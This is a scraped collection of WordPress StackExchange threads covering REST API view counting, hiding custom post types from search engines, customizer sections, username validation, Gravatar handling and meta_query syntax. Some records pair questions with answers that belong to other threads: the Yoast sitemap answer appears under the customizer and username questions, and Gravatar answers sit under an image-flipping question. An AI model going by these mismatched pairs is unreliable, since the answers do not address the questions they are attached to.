I don't know if I've complicated things a bit, so I'll explain things from the top. I have a set up with a custom post type (news), which is exposed via the REST API. The main endpoint (`/wp-json/wp/v2/news`) returns a list of `news` items, which needs to be sorted by popularity. I tried a few post view count plugins, but none of them seem to work via the REST API (they only work when the theme renders the post). My plan is to create a "view count" ACF field and hook into the REST API init for a post (or only for my `news` type), and update the value for that ACF field. I should then be able to request a list of the items ordered by the view count. I seem to have found solutions for some of the tasks involved, but I can't figure out the basic one: How can I hook into WP when a REST API request is made on a particular post type and how can I update the custom field at that point? ACF isn't an integral part of this query - I'm fine with using a native custom field, but if my question about the hook is answered, the field type is irrelevant.
I looked around again with a more relaxed mind and figured out that `the_posts` is the action hook I was looking for. This is how I just did it: ``` add_action( 'the_post', function ( $post ) { $count = (int) get_field('views'); $count++; update_field('views', $count); } ); ``` Now I'll just figure out how to sort it by an ACF field... **Update:** Nope, this will not work, because `the_post` runs 10 times in the main query `/news/` for each of the 10 items, so even getting the index would increase the view counts. Back to the drawing board... **Update 2:** My final idea is to still use the `the_post` hook as used above, but by adding a `?index=true` parameter, which will only be specified with the `/news/` endpoint, eg. `/news?index=true`. I'll then update the hook function to only count a view if there is no `index` query string parameter set. Finally, I will hook into the main WP\_Query and sort the items by the count before they're sent out. If this doesn't work, I'm trashing this whole directory and building the app from scratch using Laravel. **Update 3:** I think the last idea is probably not the cleanest or the correct way to do this. I ended up adding a custom endpoint only for counting views, accepting that this is a custom functionality requirement. I did it like this: ``` function aalaap_count_view( $data ) { $post = get_post( $data['id'] ); if ( empty( $post ) ) { return new WP_Error( 'aalaap_post_not_found', 'Invalid post', array( 'status' => 404 ) ); } // Now update the ACF field (or whatever you wish) $count = (int) get_field('views', $post->ID); $count++; update_field('views', $count, $post->ID); return new WP_REST_Response($count); } add_action( 'rest_api_init', function () { register_rest_route( 'aalaap/v1', '/countview/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => 'aalaap_count_view', ) ); } ); ``` Thanks to @Mark-Kaplun for the suggestion in the other answer.
281,382
<p>I have a plugin that uses custom post type for holding content that I pull via a shortcode elsewhere. However on a new site I noticed one of the posts in the CPT started showing up in the google search results. The post isn't linked anywhere directly. How would that show up there? How can I hide it from showing up in google? </p> <p>I set public to false, now that just turns the page into the home page. I don't know that this will completely fix my problem. What else can I do? </p> <pre><code>register_post_type('mycpt', array( 'labels' =&gt; $labels, 'public' =&gt; false, 'show_ui' =&gt; true, 'menu_icon' =&gt; $icon_svg, '_builtin' =&gt; false, 'capability_type' =&gt; 'page', 'hierarchical' =&gt; true, 'rewrite' =&gt; false, 'query_var' =&gt; 'mycpt', 'exclude_from_search' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'revisions', ), 'show_in_menu' =&gt; true, )); </code></pre>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google &amp; other search engines.</p>\n\n<p>You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the \"Post Types\"/\"Taxomonies\" tab in the \"XML Sitemaps\" settings page.</p>\n\n<p>Also don't forget to remove the links from Google through <strong>Webmaster Tools</strong> - otherwise you have to wait for Google to re-index your site.</p>\n" }, { "answer_id": 281384, "author": "paper_robots", "author_id": 24054, "author_profile": "https://wordpress.stackexchange.com/users/24054", "pm_score": 2, "selected": false, "text": "<p>There is a way to hide a post type by default from Yoast. However your milage may vary depending on what you are doing with your post type. If you are using it on the front end directly then this won't work for you. In my case I was pulling the content via shortcodes. </p>\n\n<p>So the 'public' argument when registering your post type enables/disables a few arguments at once. See the description here: <a href=\"https://codex.wordpress.org/Function_Reference/register_post_type\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_post_type</a></p>\n\n<p>You can set these manually for a finer level of control. The argument I found that helped with my issue was publicly_queryable. By setting this to false, it disabled my custom post type from having front end pages. Which I didn't need. This hid the post type from Yoast. All the admin stuff continued to work, the post type was still functional in the ways I had needed it to be. </p>\n" } ]
2017/09/28
[ "https://wordpress.stackexchange.com/questions/281382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24054/" ]
I have a plugin that uses custom post type for holding content that I pull via a shortcode elsewhere. However on a new site I noticed one of the posts in the CPT started showing up in the google search results. The post isn't linked anywhere directly. How would that show up there? How can I hide it from showing up in google? I set public to false, now that just turns the page into the home page. I don't know that this will completely fix my problem. What else can I do? ``` register_post_type('mycpt', array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'menu_icon' => $icon_svg, '_builtin' => false, 'capability_type' => 'page', 'hierarchical' => true, 'rewrite' => false, 'query_var' => 'mycpt', 'exclude_from_search' => true, 'supports' => array( 'title', 'editor', 'revisions', ), 'show_in_menu' => true, )); ```
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,448
<p>I browsed many articles to know the section Name of the "Menu" in the theme customizer. Here are the few resources that proclaim and identifies that the default section name is "nav" →</p> <ol> <li><a href="https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/" rel="nofollow noreferrer">https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/</a></li> <li><a href="http://natko.com/changing-default-wordpress-theme-customization-api-sections/" rel="nofollow noreferrer">http://natko.com/changing-default-wordpress-theme-customization-api-sections/</a></li> </ol> <p>Currently, there are 5 fields that are resting in the →</p> <pre><code>title_tagline - Site Title &amp; Tagline </code></pre> <p>but as soon as I change their section name to :</p> <pre><code>'section' =&gt; 'nav', </code></pre> <p>The fields do not appear inside the menu section. whats the issue?</p>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google &amp; other search engines.</p>\n\n<p>You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the \"Post Types\"/\"Taxomonies\" tab in the \"XML Sitemaps\" settings page.</p>\n\n<p>Also don't forget to remove the links from Google through <strong>Webmaster Tools</strong> - otherwise you have to wait for Google to re-index your site.</p>\n" }, { "answer_id": 281384, "author": "paper_robots", "author_id": 24054, "author_profile": "https://wordpress.stackexchange.com/users/24054", "pm_score": 2, "selected": false, "text": "<p>There is a way to hide a post type by default from Yoast. However your milage may vary depending on what you are doing with your post type. If you are using it on the front end directly then this won't work for you. In my case I was pulling the content via shortcodes. </p>\n\n<p>So the 'public' argument when registering your post type enables/disables a few arguments at once. See the description here: <a href=\"https://codex.wordpress.org/Function_Reference/register_post_type\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_post_type</a></p>\n\n<p>You can set these manually for a finer level of control. The argument I found that helped with my issue was publicly_queryable. By setting this to false, it disabled my custom post type from having front end pages. Which I didn't need. This hid the post type from Yoast. All the admin stuff continued to work, the post type was still functional in the ways I had needed it to be. </p>\n" } ]
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281448", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
I browsed many articles to know the section Name of the "Menu" in the theme customizer. Here are the few resources that proclaim and identifies that the default section name is "nav" → 1. <https://wptheming.com/2012/06/add-options-to-theme-customizer-default-sections/> 2. <http://natko.com/changing-default-wordpress-theme-customization-api-sections/> Currently, there are 5 fields that are resting in the → ``` title_tagline - Site Title & Tagline ``` but as soon as I change their section name to : ``` 'section' => 'nav', ``` The fields do not appear inside the menu section. whats the issue?
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,462
<p>i am running membership site. any one can registered on my site. </p> <p>i want to disallow special characters(ie:!@#$%^&amp;*), space, capital letter, dot(.) in user name on registration.</p> <p>i don't have any code that can cover all my (special characters, space, capital letter, dot) requirement. i am using separate separate function to stop this.</p> <h2>For Capital Latter Disallow In Usernames :</h2> <pre><code>add_filter( 'sanitize_user', 'wpse_83689_lower_case_user_name' ); function wpse_83689_lower_case_user_name( $name ) { if ( function_exists( 'mb_strtolower' ) ) return mb_strtolower( $name ); return strtolower( $name ); </code></pre> <h2>For Spaces Disallow In Usernames :</h2> <pre><code>add_filter('validate_username' , 'custom_validate_username', 10, 2); function custom_validate_username($valid, $username ) { if (preg_match("/\\s/", $username)) { // there are spaces return $valid=false; } return $valid; } </code></pre> <p>i did lots of google but i did not find any solution for disallow Dot and Special Character.</p> <p>can any one solve my this problem and combine all 4 option in single function?</p> <p>sorry for my bad english.</p> <p>thanks</p>
[ { "answer_id": 281383, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 4, "selected": true, "text": "<p>If you are using an SEO plugin such as <strong>Yoast</strong>, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google &amp; other search engines.</p>\n\n<p>You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the \"Post Types\"/\"Taxomonies\" tab in the \"XML Sitemaps\" settings page.</p>\n\n<p>Also don't forget to remove the links from Google through <strong>Webmaster Tools</strong> - otherwise you have to wait for Google to re-index your site.</p>\n" }, { "answer_id": 281384, "author": "paper_robots", "author_id": 24054, "author_profile": "https://wordpress.stackexchange.com/users/24054", "pm_score": 2, "selected": false, "text": "<p>There is a way to hide a post type by default from Yoast. However your milage may vary depending on what you are doing with your post type. If you are using it on the front end directly then this won't work for you. In my case I was pulling the content via shortcodes. </p>\n\n<p>So the 'public' argument when registering your post type enables/disables a few arguments at once. See the description here: <a href=\"https://codex.wordpress.org/Function_Reference/register_post_type\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_post_type</a></p>\n\n<p>You can set these manually for a finer level of control. The argument I found that helped with my issue was publicly_queryable. By setting this to false, it disabled my custom post type from having front end pages. Which I didn't need. This hid the post type from Yoast. All the admin stuff continued to work, the post type was still functional in the ways I had needed it to be. </p>\n" } ]
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281462", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/114481/" ]
i am running membership site. any one can registered on my site. i want to disallow special characters(ie:!@#$%^&\*), space, capital letter, dot(.) in user name on registration. i don't have any code that can cover all my (special characters, space, capital letter, dot) requirement. i am using separate separate function to stop this. For Capital Latter Disallow In Usernames : ------------------------------------------ ``` add_filter( 'sanitize_user', 'wpse_83689_lower_case_user_name' ); function wpse_83689_lower_case_user_name( $name ) { if ( function_exists( 'mb_strtolower' ) ) return mb_strtolower( $name ); return strtolower( $name ); ``` For Spaces Disallow In Usernames : ---------------------------------- ``` add_filter('validate_username' , 'custom_validate_username', 10, 2); function custom_validate_username($valid, $username ) { if (preg_match("/\\s/", $username)) { // there are spaces return $valid=false; } return $valid; } ``` i did lots of google but i did not find any solution for disallow Dot and Special Character. can any one solve my this problem and combine all 4 option in single function? sorry for my bad english. thanks
If you are using an SEO plugin such as **Yoast**, it automatically adds all Custom Post Types (and Taxonomies) to the sitemap that is used by Google & other search engines. You will need to explicitly exclude them from the sitemap e.g in Yoast, this is under the "Post Types"/"Taxomonies" tab in the "XML Sitemaps" settings page. Also don't forget to remove the links from Google through **Webmaster Tools** - otherwise you have to wait for Google to re-index your site.
281,473
<p>I am looking for a solution to output nothing instead the default avatar when a user does not have any avatar.</p> <p>I am currently using this line. I looked at the function and the only thing I got so far is to use <code>blank</code> as default avatar but its still occupies space and I do not want that.</p> <pre><code>echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) ); </code></pre> <p>Sidenote: Even that blank avatar gets pulled from Gravatar, I think this is ridiculous.</p>
[ { "answer_id": 281477, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>Unlikely to be worth your time to implement such a thing. You need to ask gravatar to give you the URL for the image associated with the email and inspect if it is the blank one (or IIRC you can give an alternative default image in the URL). Therefor in any case you will have to do the round trip to the gravatar server, but if you insist on just not showing anything, you will do it from your server instead of the browser, slowing down your page generation.</p>\n\n<p>An easier approach would probably be to hide the blank one with JS.</p>\n" }, { "answer_id": 281478, "author": "Boris Kuzmanov", "author_id": 68965, "author_profile": "https://wordpress.stackexchange.com/users/68965", "pm_score": 1, "selected": false, "text": "<p>You can use the <code>get_avatar</code> filter to change the output or <code>avatar_defaults</code> to add new image that can be placed on your server.</p>\n\n<p>Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page.</p>\n\n<pre><code>add_filter( 'avatar_defaults', 'add_new_gravatar_image' );\nfunction add_new_gravatar_image($avatar_defaults) {\n $myavatar = 'http://yoursite.com/image.png';\n $avatar_defaults[$myavatar] = \"Default Gravatar\";\n\n return $avatar_defaults;\n}\n</code></pre>\n\n<p>And if you want to change the output, you have an example on the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar\" rel=\"nofollow noreferrer\">documentation page for get_avatar</a>.</p>\n" }, { "answer_id": 281479, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 1, "selected": false, "text": "<p>You can use a function to check if the user has Gravatar set:</p>\n\n<pre><code>function wps_281473_has_gravatar($email) {\n $hash = md5(strtolower(trim($email)));\n\n $url = 'http://www.gravatar.com/avatar/'.$hash.'?d=404';\n $headers = get_headers($url);\n\n return preg_match(\"/200/\", $headers[0]) == 1;\n}\n</code></pre>\n\n<p>So your code would be:</p>\n\n<pre><code>if (wps_281473_has_gravatar(get_the_author_meta('email'))) {\n echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) );\n}\n</code></pre>\n" }, { "answer_id": 281485, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 1, "selected": false, "text": "<p>Gravatar is a remote service. Most ways to do this involve ramping up <em>communication</em> with that remote service with considerable performance hit due to network requests.</p>\n\n<p>You'll have to bend backwards to implement that communication in a way that doesn't ruin your page generation performance.</p>\n\n<p>Ability to provide a default image is reasonable compromise here. If you want <em>complete</em> control over avatars you can as well roll your own local avatar system. There are just inherent limitations to relying on third party service for this.</p>\n" }, { "answer_id": 402210, "author": "Dev", "author_id": 104464, "author_profile": "https://wordpress.stackexchange.com/users/104464", "pm_score": 0, "selected": false, "text": "<p>You can use the WordPress core <a href=\"https://developer.wordpress.org/reference/functions/get_avatar_url/\" rel=\"nofollow noreferrer\">get_avatar_url</a> function</p>\n<pre><code>if ( get_avatar_url( get_the_author_meta( 'ID',get_current_user_id() ) ) {\n echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) );\n}\n</code></pre>\n" } ]
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281473", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/38602/" ]
I am looking for a solution to output nothing instead the default avatar when a user does not have any avatar. I am currently using this line. I looked at the function and the only thing I got so far is to use `blank` as default avatar but its still occupies space and I do not want that. ``` echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) ); ``` Sidenote: Even that blank avatar gets pulled from Gravatar, I think this is ridiculous.
You can use the `get_avatar` filter to change the output or `avatar_defaults` to add new image that can be placed on your server. Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page. ``` add_filter( 'avatar_defaults', 'add_new_gravatar_image' ); function add_new_gravatar_image($avatar_defaults) { $myavatar = 'http://yoursite.com/image.png'; $avatar_defaults[$myavatar] = "Default Gravatar"; return $avatar_defaults; } ``` And if you want to change the output, you have an example on the [documentation page for get\_avatar](https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar).
281,490
<p>I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product.</p> <p>If I will do this manually it will take me days probably to take them one by one. </p> <p>I've looked for plugins which might help me do this automatically but no luck. </p> <p>Is there any way to do this?</p> <p>Thank you! </p>
[ { "answer_id": 281477, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>Unlikely to be worth your time to implement such a thing. You need to ask gravatar to give you the URL for the image associated with the email and inspect if it is the blank one (or IIRC you can give an alternative default image in the URL). Therefor in any case you will have to do the round trip to the gravatar server, but if you insist on just not showing anything, you will do it from your server instead of the browser, slowing down your page generation.</p>\n\n<p>An easier approach would probably be to hide the blank one with JS.</p>\n" }, { "answer_id": 281478, "author": "Boris Kuzmanov", "author_id": 68965, "author_profile": "https://wordpress.stackexchange.com/users/68965", "pm_score": 1, "selected": false, "text": "<p>You can use the <code>get_avatar</code> filter to change the output or <code>avatar_defaults</code> to add new image that can be placed on your server.</p>\n\n<p>Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page.</p>\n\n<pre><code>add_filter( 'avatar_defaults', 'add_new_gravatar_image' );\nfunction add_new_gravatar_image($avatar_defaults) {\n $myavatar = 'http://yoursite.com/image.png';\n $avatar_defaults[$myavatar] = \"Default Gravatar\";\n\n return $avatar_defaults;\n}\n</code></pre>\n\n<p>And if you want to change the output, you have an example on the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar\" rel=\"nofollow noreferrer\">documentation page for get_avatar</a>.</p>\n" }, { "answer_id": 281479, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 1, "selected": false, "text": "<p>You can use a function to check if the user has Gravatar set:</p>\n\n<pre><code>function wps_281473_has_gravatar($email) {\n $hash = md5(strtolower(trim($email)));\n\n $url = 'http://www.gravatar.com/avatar/'.$hash.'?d=404';\n $headers = get_headers($url);\n\n return preg_match(\"/200/\", $headers[0]) == 1;\n}\n</code></pre>\n\n<p>So your code would be:</p>\n\n<pre><code>if (wps_281473_has_gravatar(get_the_author_meta('email'))) {\n echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) );\n}\n</code></pre>\n" }, { "answer_id": 281485, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 1, "selected": false, "text": "<p>Gravatar is a remote service. Most ways to do this involve ramping up <em>communication</em> with that remote service with considerable performance hit due to network requests.</p>\n\n<p>You'll have to bend backwards to implement that communication in a way that doesn't ruin your page generation performance.</p>\n\n<p>Ability to provide a default image is reasonable compromise here. If you want <em>complete</em> control over avatars you can as well roll your own local avatar system. There are just inherent limitations to relying on third party service for this.</p>\n" }, { "answer_id": 402210, "author": "Dev", "author_id": 104464, "author_profile": "https://wordpress.stackexchange.com/users/104464", "pm_score": 0, "selected": false, "text": "<p>You can use the WordPress core <a href=\"https://developer.wordpress.org/reference/functions/get_avatar_url/\" rel=\"nofollow noreferrer\">get_avatar_url</a> function</p>\n<pre><code>if ( get_avatar_url( get_the_author_meta( 'ID',get_current_user_id() ) ) {\n echo get_avatar( get_the_author_meta( 'ID' ), 70, 'blank', __( 'avatar', 'bla' ) );\n}\n</code></pre>\n" } ]
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281490", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/12572/" ]
I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product. If I will do this manually it will take me days probably to take them one by one. I've looked for plugins which might help me do this automatically but no luck. Is there any way to do this? Thank you!
You can use the `get_avatar` filter to change the output or `avatar_defaults` to add new image that can be placed on your server. Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page. ``` add_filter( 'avatar_defaults', 'add_new_gravatar_image' ); function add_new_gravatar_image($avatar_defaults) { $myavatar = 'http://yoursite.com/image.png'; $avatar_defaults[$myavatar] = "Default Gravatar"; return $avatar_defaults; } ``` And if you want to change the output, you have an example on the [documentation page for get\_avatar](https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar).
281,508
<pre><code>$topics = query_posts( array( 'post_type' =&gt; 'topics', 'post_status' =&gt; 'publish', 'posts_per_page' =&gt; -1, 'meta_query' =&gt; array( 'key' =&gt; 'forum_category', 'value' =&gt; $forum_id, 'compare' =&gt; '=' ) ) ); </code></pre> <p>Doesn't seem to make a difference to this query what you set $forum_id to, it just loads all topics for all forum_category inputs... Any ideas what could cause this?</p> <p>Just to be clear, this is a function being called in the loop, so where the function is being called $forum_id is set by get_the_id()</p>
[ { "answer_id": 281511, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 2, "selected": true, "text": "<p>Changing the query to:</p>\n\n<pre><code> $topics = query_posts( \n array( \n 'post_type' =&gt; 'topics',\n 'meta_query' =&gt; array( \n array( \n 'key' =&gt; 'forum_category', \n 'value' =&gt; $forum_id \n ) \n ) \n ) \n );\n</code></pre>\n\n<p>fixed it, I guess the meta query had to be in a double array? I can't see any difference apart from that... </p>\n" }, { "answer_id": 281564, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 2, "selected": false, "text": "<p><strong>You can pass your meta query into query_posts or (the preferable) WP_Query in 2 ways:</strong></p>\n\n<ol>\n<li>An array using the array keys <code>meta_key</code>, <code>meta_value</code>, <code>meta_type</code> and <code>meta_compare</code></li>\n<li>An array of arrays using the array keys <code>key</code>, <code>value</code>, <code>type</code> and <code>compare</code></li>\n</ol>\n\n<p>In your question, you were trying to use a mix of the two, and that's why it wasn't working. </p>\n\n<p><br><strong>1. An array using the array keys <code>meta_key</code>, <code>meta_value</code>, <code>meta_type</code> and <code>meta_compare</code></strong></p>\n\n<p>This is the way you were trying to do it in your question, but the meta_query should have been using the following array keys: </p>\n\n<pre><code>$args = array( \n 'post_type' =&gt; 'topics', \n 'post_status' =&gt; 'publish', \n 'posts_per_page' =&gt; -1, \n 'meta_query' =&gt; array(\n 'meta_key' =&gt; 'forum_category', \n 'meta_value' =&gt; $forum_id, \n 'meta_compare' =&gt; '=' \n ) \n ) \n );\n</code></pre>\n\n<p><br><strong>2. An array of arrays using the array keys <code>key</code>, <code>value</code>, <code>type</code> and <code>compare</code></strong></p>\n\n<p>From the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters\" rel=\"nofollow noreferrer\">Codex for WP_Query</a>:</p>\n\n<blockquote>\n <p><strong>Important Note</strong>: meta_query takes an <strong>array</strong> of meta query arguments <strong>arrays</strong> (it takes an array of arrays) - you can see this in the examples below. This construct allows you to query multiple metadatas by using the <strong>relation</strong> parameter in the first (outer) array to describe the boolean relationship between the meta queries.</p>\n</blockquote>\n\n<pre><code>$args = array( \n 'post_type' =&gt; 'topics', \n 'post_status' =&gt; 'publish', \n 'posts_per_page' =&gt; -1, \n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'forum_category', \n 'value' =&gt; $forum_id, \n 'compare' =&gt; '=' \n ) \n )\n ) \n );\n</code></pre>\n\n<p>The advantage of using this way is that you can add multiple meta_queries to refine the results, for example you could get all posts where both forum_category = $forum_id AND forum_moderator = $moderator_name</p>\n\n<pre><code>$args = array( \n 'post_type' =&gt; 'topics', \n 'post_status' =&gt; 'publish', \n 'posts_per_page' =&gt; -1, \n 'meta_query' =&gt; array(\n 'relation' =&gt; 'AND', // this could also be \"OR\"\n array(\n 'key' =&gt; 'forum_category', \n 'value' =&gt; $forum_id, \n 'compare' =&gt; '=' \n ),\n array(\n 'key' =&gt; 'forum_moderator',\n 'value' =&gt; $moderator_name,\n 'compare' =&gt; '='\n ),\n )\n ) \n );\n</code></pre>\n\n<p><br><strong>Ref</strong>: See the <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters\" rel=\"nofollow noreferrer\">Codex for WP_Query</a> for more information and examples.</p>\n\n<p><strong><em>Note</strong>: I realise you found an answer, but I thought the additional information and alternative usage might be helpful - even if not to you, then to other users searching with a similar problem.</em></p>\n" } ]
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281508", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
``` $topics = query_posts( array( 'post_type' => 'topics', 'post_status' => 'publish', 'posts_per_page' => -1, 'meta_query' => array( 'key' => 'forum_category', 'value' => $forum_id, 'compare' => '=' ) ) ); ``` Doesn't seem to make a difference to this query what you set $forum\_id to, it just loads all topics for all forum\_category inputs... Any ideas what could cause this? Just to be clear, this is a function being called in the loop, so where the function is being called $forum\_id is set by get\_the\_id()
Changing the query to: ``` $topics = query_posts( array( 'post_type' => 'topics', 'meta_query' => array( array( 'key' => 'forum_category', 'value' => $forum_id ) ) ) ); ``` fixed it, I guess the meta query had to be in a double array? I can't see any difference apart from that...
281,550
<p>I am trying to query a list with all Categories, Subcategories and Posts of a custom post type.</p> <p>e.g.:</p> <pre><code>Maincat1 -Subcat1 -Post1 -Post2 -Subcat2 -Subcat3 Maincat2 -Subcat3 -Post3 Maincat3 -Post4 </code></pre> <p>I'm getting mad trying to accomplish that. I tried out so many things that I found on the web but I can't figure out how to get it to work.</p> <p>What I have so far (working), All Categories + Subcategories but i don't get it how to query the posts from the Categories / Subcategories.</p> <pre><code>&lt;?php $orderby = 'name'; $show_count = 1; // 1 for yes, 0 for no $pad_counts = 1; // 1 for yes, 0 for no $hierarchical = 1; // 1 for yes, 0 for no $title = ''; $empty = 0; $args = array( 'taxonomy' =&gt; 'kategorie', 'orderby' =&gt; $orderby, 'show_count' =&gt; $show_count, 'pad_counts' =&gt; $pad_counts, 'hierarchical' =&gt; $hierarchical, 'title_li' =&gt; $title, 'hide_empty' =&gt; $empty ); ?&gt; &lt;?php $parent_cat_arg = array('hide_empty' =&gt; false, 'parent' =&gt; 0 ); $parent_cat = get_terms('kategorie',$parent_cat_arg);//category name foreach ($parent_cat as $catVal) { echo '&lt;h3&gt;'.$catVal-&gt;name.'&lt;/h3&gt;'; //Parent Category $args = array('post_type' =&gt; 'Dokumente', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'kategorie', 'field' =&gt; 'slug', 'terms' =&gt; $custom_term-&gt;slug, ), ), ); $my_query = new WP_Query( $args ); if( $my_query-&gt;have_posts() ) { while ($my_query-&gt;have_posts()) : $my_query-&gt;the_post(); ?&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="#" rel="bookmark" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;li&gt;&lt;/ul&gt;&lt;?php endwhile; } wp_reset_query(); $child_arg = array( 'hide_empty' =&gt; false, 'parent' =&gt; $catVal-&gt;term_id ); $child_cat = get_terms( 'kategorie', $child_arg ); echo '&lt;ul&gt;'; foreach( $child_cat as $child_term ) { echo '&lt;li&gt;'.$child_term-&gt;name . '&lt;/li&gt;'; //Child Category $my_query = new WP_Query( $args ); if( $my_query-&gt;have_posts() ) { while ($my_query-&gt;have_posts()) : $my_query-&gt;the_post(); ?&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="#" rel="bookmark" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;li&gt;&lt;/ul&gt;&lt;?php endwhile; } wp_reset_query(); } echo '&lt;/ul&gt;&lt;/li&gt;'; } ?&gt; &lt;/div&gt; &lt;?php } add_shortcode('kategorien', 'get_mylist' ); </code></pre> <p>I also have the code to query the posts (at least i think it works) - but i don't know how to combine them.</p> <pre><code>$custom_terms = get_terms('kategorie'); foreach($custom_terms as $custom_term) { wp_reset_query(); $args_slugs = array('post_type' =&gt; 'Dokumente', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'kategorie', 'field' =&gt; 'slug', 'terms' =&gt; $custom_term-&gt;slug, ), ), ); $loop = new WP_Query($args_slugs); if($loop-&gt;have_posts()) { while($loop-&gt;have_posts()) : $loop-&gt;the_post(); echo '&lt;ul&gt;&lt;li&gt;&lt;a href="'.get_permalink().'"&gt;'.get_the_title().'&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;'; endwhile; } } </code></pre> <p>I really hope someone can help me... And yes I already used the search and found similar questions but none of the answers worked for me.</p> <p>Best, NixXxon</p>
